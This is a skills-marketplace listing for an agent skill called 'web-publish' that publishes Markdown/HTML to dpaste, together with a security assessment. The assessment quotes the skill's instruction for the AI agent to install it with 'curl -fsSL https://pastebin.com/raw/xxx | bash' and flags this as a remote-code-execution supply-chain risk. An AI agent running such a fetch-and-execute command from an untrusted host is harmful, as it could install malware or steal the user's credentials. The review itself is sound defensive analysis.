← Back to Skills Marketplace
617
Downloads
1
Stars
5
Active Installs
1
Versions
Install in OpenClaw
/install web-publish
Description
将本地 Markdown/HTML 一键发布为在线链接，手机直接访问
Usage Guidance
Do not run 'curl | bash' from an untrusted pastebin link. That command downloads and immediately executes remote code, which can install malware, exfiltrate files, or steal credentials. Before installing: (1) Ask the publisher for the actual installer source code or a vetted release (GitHub/GitHub Releases, official project domain), (2) inspect the script fully before running it, (3) prefer a one-off safe upload using curl directly to dpaste (no installer) or other vetted services (GitHub Gist, private file sharing), (4) run any unknown installer in an isolated sandbox or VM and check network activity, and (5) if you only need to publish one file, consider manually uploading via dpaste's documented API/website rather than installing a CLI. If you want, ask the skill author for the install script contents or a safer installation method and only proceed after review.
Capability Analysis
Type: OpenClaw Skill
Name: web-publish
Version: 1.0.0
The `SKILL.md` file instructs the AI agent to install the skill by executing `curl -fsSL https://pastebin.com/raw/xxx | bash`. This command downloads and executes an arbitrary script from an external, untrusted, and mutable source (pastebin.com). This constitutes a severe supply chain vulnerability, allowing for arbitrary code execution during installation, which could easily be leveraged for malicious purposes. While the stated purpose of the skill (publishing files to dpaste.com) appears benign, the installation method introduces a critical security risk.
Capability Assessment
Purpose & Capability
The description promises a simple publish-to-dpaste workflow (which normally only needs a small HTTP request), but the instructions require installing an external script from pastebin. That install step is disproportionate to the stated functionality and doesn't match the minimal dependencies one would expect.
Instruction Scope
SKILL.md instructs users to run 'curl -fsSL https://pastebin.com/raw/xxx | bash' which executes arbitrary remote code. The rest of the doc assumes a 'publish' CLI created by that script; there are no details about what the installer does, whether it reads other files, or whether it sends data to endpoints beyond dpaste.com.
Install Mechanism
No formal install spec is declared; the only installation guidance is to download and execute a script from pastebin.com — a non-official, user-editable host. This is a high-risk install pattern (remote code execution, archive extraction/execution risk) and not a trusted release mechanism.
Credentials
The skill declares no required environment variables, credentials, or config paths, which is proportionate for a simple publishing tool. However, because the SKILL.md directs execution of an external script, that script could still request or exfiltrate credentials at runtime — the declared absence of env requirements alone is not sufficient to ensure safety.
Persistence & Privilege
The skill is instruction-only, not always-enabled, and does not request persistent system privileges in the manifest. That said, the remote installer (if run) could install persistent binaries or services — the manifest itself does not request such privileges.
How to Use
- Make sure OpenClaw is installed (local or Docker)
- Run the install command in chat:
/install web-publish - After installation, invoke the skill by name or use
/web-publish - Provide required inputs per the skill's parameter spec and get structured output
Version History
v1.0.0
Initial release: Quickly publish local Markdown/HTML as shareable online links.
- Supports Markdown and HTML input files.
- Generates temporary online links (1–7 day expiry options).
- No registration required; uses dpaste.com API.
- Simple command-line usage and mobile-friendly access.
- Ideal for speeches, meeting notes, presentations, or temporary document sharing.
Metadata
Frequently Asked Questions
What is Web Publish?
将本地 Markdown/HTML 一键发布为在线链接，手机直接访问. It is an AI Agent Skill for Claude Code / OpenClaw, with 617 downloads so far.
How do I install Web Publish?
Run "/install web-publish" in the OpenClaw or Claude Code chat to install it in one step — no extra setup required.
Is Web Publish free?
Yes, Web Publish is completely free (open-source). You can download, install and use it at no cost.
Which platforms does Web Publish support?
Web Publish is cross-platform and runs anywhere OpenClaw / Claude Code is available (cross-platform).
Who created Web Publish?
It is built and maintained by amlyx (@amlyx); the current version is v1.0.0.
More Skills